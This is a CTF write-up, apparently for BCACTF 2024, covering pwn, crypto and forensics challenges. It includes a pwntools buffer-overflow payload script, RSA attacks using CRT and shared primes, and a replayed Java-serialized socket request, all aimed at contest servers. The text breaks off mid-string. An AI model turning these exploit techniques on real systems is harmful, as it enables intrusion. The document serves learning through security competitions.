Decompile and look, just need to put things in the right places.
from pwn import*# Connect to the remote servicehost ="challs.bcactf.com"port =32101conn =remote(host, port)# Create the payloadpayload =b'A'*73payload +=b'canary'payload +=b'\x00\x00'payload +=b'FLAG'.ljust(8, b'\x00')# Send the payloadconn.sendlineafter("Enter a string: ", payload)# Receive the responseresponse = conn.recvall()print(response.decode())#[+] Opening connection to challs.bcactf.com on port 32101: Done#[+] Receiving all data: Done (42B)#[*] Closed connection to challs.bcactf.com port 32101#Flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f}
Juggler 1 (92 solves)
Description:
My friend here has got some issues... Mainly, he can't stop juggling.
P.S Dockerfile is provided but not necessary for Juggler
Hint: He told me he was only good at juggling small words
Netcat Links:nc challs.bcactf.com 32250
Solution:
Spam it with garbage, get the flag.
Pwnage (176 solves)
Description:
It's either a bug, a hack, an exploit, or it's pwnage.
Let this challenge stand as one of the first of many stairs to mastery over that which can only be described as pwn.
Basically need to just guess a stack offset, guessed 0x10 off then 0x20 off and got it.
Crypto
Time Skip (297 solves)
Description:
One of our problem writers got sent back in time! We found a piece a very very old piece of parchment where he disappeared, alongside a long cylinder. See if you can uncover his flag!
Ignore the silly science, but perhaps he wanted to mimic encryption methods of his new time.
Solution:
Google "old cipher cylinder" first result is Scytale wiki. On to dcode.
Cha-Cha Slide (125 solves)
Description:
I made this cool service that lets you protect your secrets with state-of-the-art encryption. It's so secure that we don't even tell you the key we used to encrypt your message!
We can run it as many times as we want but we only need 3 sets of data. Using CRT:
from Crypto.Util.number import long_to_bytesfrom sympy.ntheory.modular import crtfrom gmpy2 import iroot# Given ciphertext and modulus pairspairs = [ (27103010174271472861051706874886615840444379989972162570725489819751234961995582124578431634602428817625887870176162703741458077169366173426315322895480489370678533843281920476051789528477905816643757959921523349468472293705018452507392596899261140807662895351041963518234252833749119529970349259551907610047,141941061149431225909447501248397042743729155760933456250570579244288760033019008962020680907400261235105998419984814946029006488769373433950418645849100405261392310745556350128975979135225980653800180086441825657950665067012472437820905137722768618316467228112651886841947751132954217638427584998957691161543), (87004949322535581002845528283231609435043822518577856219269530157861507832047746385930333124660438150297622341510182560300266612825341538429711950152346935939980781729973969899169529798977322096907501140438066881388903956013367025716567268766872089980432819555001256460775713597503849693683075281035946910805,164854415395195002860687410205812008596168380618683194991865599071902230943582675566040079405276465895686691564574205042927515509958944080979432379788978959976857787977097682654144889975725126158176862536468249471221382327118605263290096475812329070981479641583303884910722672628326426001535265046184644734177), (83155564799958326074880616045095533753489723920953050107120240226917503722018495606341715610875627752729252097031038931415197521240585226475667327656291523531031314388427603780715088951415652201010890442676474263769772551485968315688322603351142769621763428831089566462622943481253975668040565669538195947608,91622711695775483202371027920947490429472842004062163788214691941135437813948805097348422438049023164131639966675865485748980904140965225717567674548812454134942698796779973935852163403930992789324152880046715985741825285659813990968232578539971443433412470004989280921473688848325996598686172455732255695369)]# Separate ciphertexts and modulic_values, n_values =zip(*pairs)# Apply CRT to find combined modulus and valuecrt_value, crt_modulus =crt(n_values, c_values)# Compute the cube root of the CRT resultm_cubed = crt_value % crt_modulusm, exact =iroot(m_cubed, 3)# Convert the integer message back to bytesmessage =long_to_bytes(m)print("Decoded message:", message.decode('utf-8'))# Decoded message: bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}
Encryptor Shop (174 solves)
Description:
After realizing how insecure the systems of many companies are (they're always getting hacked), I decided to start offering Encryption as a Service (EaaS). With such a strong guarantee of security, I'll even give you the source code AND my encrypted super secret flag.
There's a lot of info in this challenge we don't need, solution is self explanatory.
from Crypto.Util.number import long_to_bytesfrom math import gcd# Given valuesn1 = 20046349873944205176423114443455689919669910795481350914626057084784218454972444164437519922639611988293310882518658786050151344878815796277827043279810580510114086986810944738481410150153418518145042227083952305858419728237186431516810574314177791955511057864270118882112562714389885135695325845034887428152577194786136631741752649636317046910624271139746239901843490149346254880759384029872965698576627008596767706526357092262568207131164128893294570124821029888194605727045625622179935996383919001893144222235252648145542768780147479448635060554265557876060562288573205708569951396893958798423743419449831849679703
n2 = 16434970135964003988139434495907623074623915350636969988786281825411133565722730304432740589037550628704987212370759314135720895493223571323170808308538042694687496332434441273093965513648297064578122146387468262905283296843437251431675048618790342476490402712290704768419586630590698635087606985925882174123304114238083655662014084638225032464353497609499464277177906008437489400454514041277523568684178566790355790654404998461838776405284274742673238076489611721077943860463950101091777924688713264134854377886327971030775111328814523481403041572941936263227914010368853137334940543326090790888857870532772145679829
e =65537# Encrypted flag valueflag_encrypted = 12339552846536087040879912645948500287607794336240492567779731046851528952834941805240683330768651536008545089628868346638124325562217740588228222591290194820508395407077625893039673374182075366452014399361448765459654844499631346896811068911338859627193230756708264479249829238083026010880370829549373905800823178875797446557019742579472229162257521778812978903494185000515696305560113298581564992727779353601136317925966691894790914752121144617810057710328491837869745962542073823980407529111032452806587917079691627421867347019865974395024445704612338911350208209300812172223497360641199348928783642293085110625052
# Find pp =gcd(n1, n2)# Calculate q and rq = n1 // pr = n2 // p# Calculate phi for the new modulus n2phi_n2 = (p -1) * (r -1)d =pow(e, -1, phi_n2)# Decrypt the flagflag_decrypted =pow(flag_encrypted, d, n2)flag =long_to_bytes(flag_decrypted).decode()print(f"Flag: {flag}")#Flag: bcactf{w0w_@lg3br@_d3in48uth934r}
Vinegar Times 3 (319 solves)
Description:
We can't speak French and just say what we see.
We also don't know what underscores are add them yourself.
put ONLY the final decrypted cipher in bcactf{}, no intermediate steps
key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE
Solution:
Freebie, vigenere cipher with key being the decoded text of the previous stage. Before the flag format was clarified, it was a bit harder. bcactf{add_to_salad_yummy}
rad-be-damned (94 solves)
Description:
My friend seems to be communicating something but I can't make out anything. Why do we live so close to Chernobyl anyways?
that's a nice unanimous supreme court decision you've made public, sure would be a shame if someone didn't properly clean up remnants of a prior version of the document before publishing it
this is a real thing that happened that had real articles written about it
Solution:
Hidden in the text, not visible normally so convert pdf to txt.
ββ$ pdftotext 23-719_19m2.pdf
ββ$ grep -C2 ctf 23-719_19m2.txt 130 β¨―
Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment
flagserver (57 solves)
Description:
It looks like Ircus have been using a fully exposed application to access their flags! Look at this traffic I captured. I can't seem to get it to work, though... can you help me get the flag for this very challenge?
NOTE: During normal operation, directly connecting to flagserver using nc should give some nonprintable characters like οΏ½οΏ½. If instead you receive nothing, please let us know.
It looks like their server contains flags for two challenges - this one ("flagserver") and a decoy one.
Solution:
We can look at the pcapng to see the communication with the server, then we just replace the command (fakechall) with flagserver and copy the rest of the bytes used in the request command. One hiccup is that flagserver is 10 characters while fakechall is 9, and when we replace as is, we see the server only gets "flagserve". Luckily the byte right before the string is 0x09 which we can assume is a length field, so replace that with 0x0A and we win.
import socket# Server detailshost ='challs.bcactf.com'port =30134# Hex values to sendinitial_hex ="aced0005"additional_hex = ("7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b""78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000""787074000A666c6167736572766572")# Convert hex to bytesinitial_bytes =bytes.fromhex(initial_hex)additional_bytes =bytes.fromhex(additional_hex)# Connect to the server and send the requestswith socket.socket(socket.AF_INET, socket.SOCK_STREAM)as s: s.connect((host, port))print(f"Connected to {host}:{port}")# Receive initial response initial_response = s.recv(1024)print(f"Initial response: {initial_response.hex()}")# Send the initial hex value s.sendall(initial_bytes)print(f"Sent: {initial_hex}")# Receive response#print(f"Received after sending initial hex: {response.hex()}")# Send the additional hex value s.sendall(additional_bytes)print(f"Sent additional data: {additional_hex}")# Receive the final response final_response = s.recv(1024)print(final_response)#Connected to challs.bcactf.com:30134#Initial response: aced0005#Sent: aced0005#Sent additional data: 7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000787074000A666c6167736572766572#b'sr\x00\x1bflagserver.MessageStoC_Flag\xecI\xc1@]/\xe2\x0b\x02\x00\x01L\x00\x04flagt\x00\x12Ljava/lang/String;xr\x00\x12flagserver.Message\x90\xd2\x1c\xc7\x18\xe8\x9c\x16\x02\x00\x00xpt\x009bcactf{thankS_5OCK3ts_and_tHreADInG_clA5s_2f6fb44c998fd8}'
magic (131 solves)
Description:
I found this piece of paper on the floor. I was going to throw it away, but it somehow screamed at me while I was holding it?!
the pdf should be interactive; if not, try changing your pdf viewer
Solution:
We can extract the js from the file with pdfinfo, deobfuscate it to see we need "producer", then solve the challenge.
ββ$ pdfinfo -js ./magic.pdf 1 β¨―
Name Dictionary "01 c":
(function(_0x18b13a,_0x4d582d){var _0x3da883=_0x4113,_0x1d0353=_0x18b13a();while(!![]){try{var _0x10c45c=parseInt(_0x3da883(0x1be))/0x1*(-parseInt(_0x3da883(0x1cc))/0x2)+parseInt(_0x3da883(0x1c2))/0x3+parseInt(_0x3da883(0x1c6))/0x4*(parseInt(_0x3da883(0x1c7))/0x5)+-parseInt(_0x3da883(0x1cb))/0x6*(parseInt(_0x3da883(0x1c1))/0x7)+-parseInt(_0x3da883(0x1ca))/0x8+parseInt(_0x3da883(0x1c0))/0x9+parseInt(_0x3da883(0x1c4))/0xa*(parseInt(_0x3da883(0x1bf))/0xb);if(_0x10c45c===_0x4d582d)break;else _0x1d0353['push'](_0x1d0353['shift']());}catch(_0x53c9c0){_0x1d0353['push'](_0x1d0353['shift']());}}}(_0x43c8,0xe20be));function _0x4113(_0x44cfd2,_0x23b14b){var _0x43c873=_0x43c8();return _0x4113=function(_0x4113e1,_0x43c2ed){_0x4113e1=_0x4113e1-0x1bd;var _0x2522f0=_0x43c873[_0x4113e1];return _0x2522f0;},_0x4113(_0x44cfd2,_0x23b14b);}function _0x43c8(){var _0x1355d8=['getField','charCodeAt','100554TvjbzQ','11jHxsKn','7564617EnopjV','2219BJkXWe','3372363teHOVr','alert','5165870pcLTuS','producer','32KYViix','925835vZTXso','Flag is incorrect!','length','8132288HsoZUP','13494jFFdda','26rtwUNT'];_0x43c8=function(){return _0x1355d8;};return _0x43c8();}function update(){var _0x3d0e72=_0x4113,_0x2923fd=this[_0x3d0e72(0x1cd)]('A')['value'],_0x12e8ec=[];for(var _0x28002d=0x0;_0x28002d<_0x2923fd[_0x3d0e72(0x1c9)];_0x28002d++){_0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d)^parseInt(info[_0x3d0e72(0x1c5)])%(0x75+_0x28002d));}k=[0x46,0x2d,0x62,0x11,0x6b,0x4c,0x72,0x5f,0x76,0x38,0x19,0x28,0x5f,0x31,0x36,0x63,0xf7,0xb1,0x69,0x2a,0x18,0x5e,0x36,0x1,0x37,0x3a,0x1c,0x5,0x11,0x56,0xe5,0x7b,0x64,0x2c,0x11,0x14,0x53,0x5a,0x35,0x17,0x41,0x62,0x3];if(_0x12e8ec['length']!=k[_0x3d0e72(0x1c9)]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}for(var _0x28002d=0x0;_0x28002d<k[_0x3d0e72(0x1c9)];_0x28002d++){if(_0x12e8ec[_0x28002d]!=k[_0x28002d]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}}app[_0x3d0e72(0x1c3)]('Flag is correct!');}
Field Activated:
update();
Widget Annotation Activated:
update();
ββ$ exiftool magic.pdf
ExifTool Version Number : 12.76
File Name : magic.pdf
Directory : .
File Size : 19 kB
File Modification Date/Time : 2024:06:07 17:46:21-07:00
File Access Date/Time : 2024:06:10 11:09:10-07:00
File Inode Change Date/Time : 2024:06:08 01:54:16-07:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Page Mode : UseOutlines
Has XFA : No
Author :
Title :
Subject :
Creator :
Producer : 283548893274
Create Date : 2024:05:28 13:48:25-04:00
Modify Date : 2024:05:28 13:48:25-04:00
Trapped : False
PTEX Fullbanner : This is pdfTeX, Version 3.141592653-2.6-1.40.26 (TeX Live 2024/Arch Linux) kpathsea version 6.4.0
producer_value =283548893274# The Producer value from the PDF metadatak = [0x46,0x2d,0x62,0x11,0x6b,0x4c,0x72,0x5f,0x76,0x38,0x19,0x28,0x5f,0x31,0x36,0x63,0xf7,0xb1,0x69,0x2a,0x18,0x5e,0x36,0x1,0x37,0x3a,0x1c,0x5,0x11,0x56,0xe5,0x7b,0x64,0x2c,0x11,0x14,0x53,0x5a,0x35,0x17,0x41,0x62,0x3]flag =''for i inrange(len(k)): flag +=chr(k[i] ^ (producer_value % (0x75+ i)))print("Flag:", flag)# Flag: bcactf{InTerACtIv3_PdFs_W0W_cbd14436e6aea8}
Description:
We intercepted this mysterious melody being played on a secretive radio station. Can you figure out what it means?
First we need to transcribe the notes, I forget what I used but it was some python package that used AI to convert to a midi file. Then, I ran this on the output.
import mido# Define the notes and their corresponding hexadecimal valuesNOTE_TO_HEX ={'C4':'0','D4':'1','E4':'2','F4':'3','G4':'4','A4':'5','B4':'6','C5':'7','D5':'8','E5':'9','F5':'A','G5':'B','A5':'C','B5':'D','C6':'E','D6':'F'}# MIDI note numbers to note namesNOTE_NAMES ={60:'C4',62:'D4',64:'E4',65:'F4',67:'G4',69:'A4',71:'B4',72:'C5',74:'D5',76:'E5',77:'F5',79:'G5',81:'A5',83:'B5',84:'C6',86:'D6'}defparse_midi_file(file_path): midi = mido.MidiFile(file_path) notes = []for track in midi.tracks:for msg in track:if msg.type =='note_on'and msg.velocity >0: note_number = msg.noteif note_number in NOTE_NAMES: note_name = NOTE_NAMES[note_number] notes.append(note_name)return notesdefnotes_to_hex(notes): hex_string =''.join(NOTE_TO_HEX[note] for note in notes if note in NOTE_TO_HEX)return hex_string# Read the MIDI filemidi_file ='out.mid'notes =parse_midi_file(midi_file)# Convert notes to hexadecimal stringhex_string =notes_to_hex(notes)print("Hexadecimal string:", hex_string)# Hexadecimal string: 0123456789ABCDEF6263616374667B60265617570469667560C5F6D656C6F64795F62656175746966756C5F6861726D6F6E7907
Output was still messed up so fixed manually in cyberchef, just some extra zeros.
Chalkboard Gag (383 solves)
Description:
Matt Groening sent me an unused chalkboard gag, he says there's something special inside of it.
There are some unique differences in some of the lines...
Solution:
Find/replace delete the string that repeats to isolate the unique lines. I just manually copied the flag from there.
I WILL NOT bE SNEAKYI WIcL NOT BE SNEAKYI WILL NOT BE SNEAKaI WcLL NOT BE SNEAKYI WILL NOT BE SNEAKtI WILL NOT Bf SNEAKYI {ILL NOT BE SNEAKYI WILL NOT BE SNEBKYI WILL NaT BE SNEAKYI WILL NOT BE SNRAKYI WILT NOT BE SNEAKYI WILL NOT _E SNEAKYI WILW NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNEUKYI WI1L NOT BE SNEAKYI WILL NOT BE SNEADYI W_LL NOT BE SNEAKYI WILL NOT BE SBEAKYI WILL NOT B3 SNEAKYI _ILL NOT BE SNEAKYI WILL NOT BE SNEPKYI WILR NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNuAKYI WIDL NOT BE SNEAKYI WILL NOT BE SNEAK}
Touch Tone Telephone (31 solves)
Description:
theres a demon inside of my head
now im unable to go to bed
i gave a shout
the phone rang out
and now theres just feelings of dread
i picked up the phone and i heard
a resounding cry from the herd
of phone systems cursed
and stuck with the curse
of button pressing till theyre dead
i heard the beeping with my ears
knowing it could solve all my fears
to find the demon
the lemon heathen
to wipe away ctf tears
DTMF is a really cool technologyThere also used to be A, B, C, and D menu selection keysHow many keys are there in total? Is it a computer science-y number?For key to number, Start at top left, reading order. (Sorry, 0 is not 0, my bad)
Solution:
Tried with online tools and got close but it really needed a custom solution since the last part is to decode from an arbitrary hex string which can't be corrected manually. Below is code to record the DTMF from the file, to convert the mapping, then to decode.
import numpy as npimport scipy.signalfrom pydub import AudioSegmentfrom pydub.playback import play# Define the DTMF frequenciesDTMF_FREQS ={'1': (697,1209),'2': (697,1336),'3': (697,1477),'A': (697,1633),'4': (770,1209),'5': (770,1336),'6': (770,1477),'B': (770,1633),'7': (852,1209),'8': (852,1336),'9': (852,1477),'C': (852,1633),'*': (941,1209),'0': (941,1336),'#': (941,1477),'D': (941,1633),}# Inverse map for quick lookupFREQ_PAIR_TO_KEY ={v: k for k, v in DTMF_FREQS.items()}# Load the audio fileaudio = AudioSegment.from_wav("output.wav")# Convert to monoaudio = audio.set_channels(1)# Convert to numpy arraysamples = np.array(audio.get_array_of_samples())# Define the sample ratesample_rate = audio.frame_rate# Define the window size (in samples)window_size =int(sample_rate *0.05)# 50ms windowstep_size =int(sample_rate *0.025)# 25ms step size# Initialize the detected tones stringdetected_tones =""# Function to detect DTMF tone in a window of samplesdefdetect_dtmf_tone(window):# Perform FFT freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=512, noverlap=256, detrend=False, scaling='spectrum') Sx = np.log10(Sx +1e-10)# Find peaks in the spectrum peak_indices = np.argsort(Sx.max(axis=1))[-2:] # Get two highest peaks peak_freqs =sorted(freqs[peak_indices])# Check if peaks correspond to DTMF frequenciesfor (f1, f2), key in FREQ_PAIR_TO_KEY.items():ifabs(f1 - peak_freqs[0])<20andabs(f2 - peak_freqs[1])<20:return keyreturnNone# Process the audio in windowsfor start inrange(0, len(samples) - window_size, step_size): window = samples[start:start + window_size] tone =detect_dtmf_tone(window)if tone: detected_tones += tonedefprocess_dtmf_output(dtmf_string):# Initialize the result string result =""# Initialize a counter for unmatched characters unmatched_counts ={}# Loop through the string i =0while i <len(dtmf_string):# Check if there are at least 3 characters leftif i +2<len(dtmf_string)and dtmf_string[i]== dtmf_string[i+1]== dtmf_string[i+2]:# If the next 3 characters are the same, add the character to the result result += dtmf_string[i]# Move the index by 3 i +=3elif i +1<len(dtmf_string)and dtmf_string[i]== dtmf_string[i+1]:# If the next 2 characters are the same, add the character to the result result += dtmf_string[i]# Move the index by 2 i +=2else:# Count remaining unmatched characters char = dtmf_string[i]if char notin unmatched_counts: unmatched_counts[char]=0 unmatched_counts[char]+=1# Move the index by 1 i +=1# Print warnings for unmatched charactersfor char, count in unmatched_counts.items():print(f"Warning: Character '{char}' only shows up {count} time(s).")return result# Process the outputprocessed_output =process_dtmf_output(detected_tones)print("Processed output:", processed_output)
# Define the mapping in a dictionarymapping ={'1':'0','2':'1','3':'2','A':'3','4':'4','5':'5','6':'6','B':'7','7':'8','8':'9','9':'A','C':'B','*':'C','0':'D','#':'E','D':'F'}# Given encoded messageencoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648"
# Decode the messagedecoded_message =''.join(mapping.get(char, char) for char in encoded_message)print(decoded_message)# Put final part in cyberchef, then follow the instructions to create the last part
# Given indices in hexadecimalhex_indices = ["0x61","0x72","0x6c","0x38","0x2b","0x6f","0x3e","0x59","0x6c","0x38","0x19","0x6f","0x1d","0x72","0x0a","0x45","0x59","0x6f","0x6c","0x2e","0x6f","0x6c","0x26","0x2b","0x02","0x6f","0x01","0x26","0x72","0x53","0x39","0x04"]# The string to index intorandom_garbage ="xpdReWEfno4BtvReUHxu8tBrknyUh128DolsWh1oz7cnUDygIxkCItws05vN8SdkFpTPRvVNUcRTtoS7zEUaf7ONI3n0UtVuIli9BcPfxECYmDI_4E3rJAUhYGV9wOFI"# Convert hex indices to decimaldecimal_indices = [int(hx, 16)for hx in hex_indices]# Extract characters from the random garbage stringflag =''.join(random_garbage[idx] for idx in decimal_indices)# Wrap the flag in the proper formatformatted_flag =f"BCACTF{{{flag}}}"print(formatted_flag)# BCACTF{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}
Touch Tone Telephone (Revenge) (15 solves)
Description:
Well let's quickly patch out an unintended solvepath to the original challenge...
There, now go use your programming skills.
Even more of a headphone warning with this one, sorry.
Similar to previous one but twice the speed. Played around with settings until decoding was clean.
import numpy as npimport scipy.signalfrom pydub import AudioSegmentfrom pydub.playback import play# Define the DTMF frequenciesDTMF_FREQS ={'1': (697,1209),'2': (697,1336),'3': (697,1477),'A': (697,1633),'4': (770,1209),'5': (770,1336),'6': (770,1477),'B': (770,1633),'7': (852,1209),'8': (852,1336),'9': (852,1477),'C': (852,1633),'*': (941,1209),'0': (941,1336),'#': (941,1477),'D': (941,1633),}# Inverse map for quick lookupFREQ_PAIR_TO_KEY ={v: k for k, v in DTMF_FREQS.items()}# Load the audio fileaudio = AudioSegment.from_wav("output.wav")# Convert to monoaudio = audio.set_channels(1)# Convert to numpy arraysamples = np.array(audio.get_array_of_samples())# Define the sample ratesample_rate = audio.frame_rate# Define the window size (in samples)window_size =int(sample_rate *0.04)# ~16.7ms window (1/3 of the original 50ms)step_size =int(sample_rate *0.02)# ~8.35ms step size (1/3 of the original 25ms)# Initialize the detected tones stringdetected_tones =""# Function to detect DTMF tone in a window of samplesdefdetect_dtmf_tone(window):# Perform FFT with increased nperseg for better frequency resolution freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=1024, noverlap=512, detrend=False, scaling='spectrum') Sx = np.log10(Sx +1e-10)# Find peaks in the spectrum peak_indices = np.argsort(Sx.max(axis=1))[-2:] # Get two highest peaks peak_freqs =sorted(freqs[peak_indices])# Check if peaks correspond to DTMF frequenciesfor (f1, f2), key in FREQ_PAIR_TO_KEY.items():ifabs(f1 - peak_freqs[0])<15andabs(f2 - peak_freqs[1])<15:# Increased frequency tolerancereturn keyreturnNone# Process the audio in windowsfor start inrange(0, len(samples) - window_size, step_size): window = samples[start:start + window_size] tone =detect_dtmf_tone(window)if tone: detected_tones += tone# Print the outputprint(detected_tones)
# Define the mapping in a dictionarymapping ={'1':'0','2':'1','3':'2','A':'3','4':'4','5':'5','6':'6','B':'7','7':'8','8':'9','9':'A','C':'B','*':'C','0':'D','#':'E','D':'F'}# Given encoded messageencoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A3A53#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7AAA43#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A4A13#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7ABA23#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6A53#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A4A33#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1663#19466DB3316A6762B331AAA33*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331AAAA3*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331AAA43*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA53*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331AAA63*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331AAAB3*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B331AAA73*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331AAA83*316B65B431686#6465B731A1B7A3A43#19466DB3316A6762B331A4A13*316B65B431686#6465B731A1B7AB633#19466DB3316A6762B331A4A23*316B65B431686#6465B731A1B7AA6A3#19466DB3316A6762B331A4A33*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4AA3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4A43*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331A4A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A4A63*316B65B431686#6465B731A1B7A4643#19466DB3316A6762B331A4AB3*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331A4A73*316B65B431686#6465B731A1B7A5663#19466DB3316A6762B331A4A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A5A13*316B65B431686#6465B731A1B7A6623#19466DB3316A6762B331A5A23*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A5A33*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5AA3*316B65B431686#6465B731A1B7A3A13#19466DB3316A6762B331A5A43*316B65B431686#6465B731A1B7A1A73#19466DB3316A6762B331A5A53*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A5A63*316B65B431686#6465B731A1B7ABA13#19466DB3316A6762B331A5AB3*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5A73*316B65B431686#6465B731A1B7A3643#19466DB3316A6762B331A5A83*316B65B431686#6465B731A1B7AAA23#19466DB3316A6762B331A6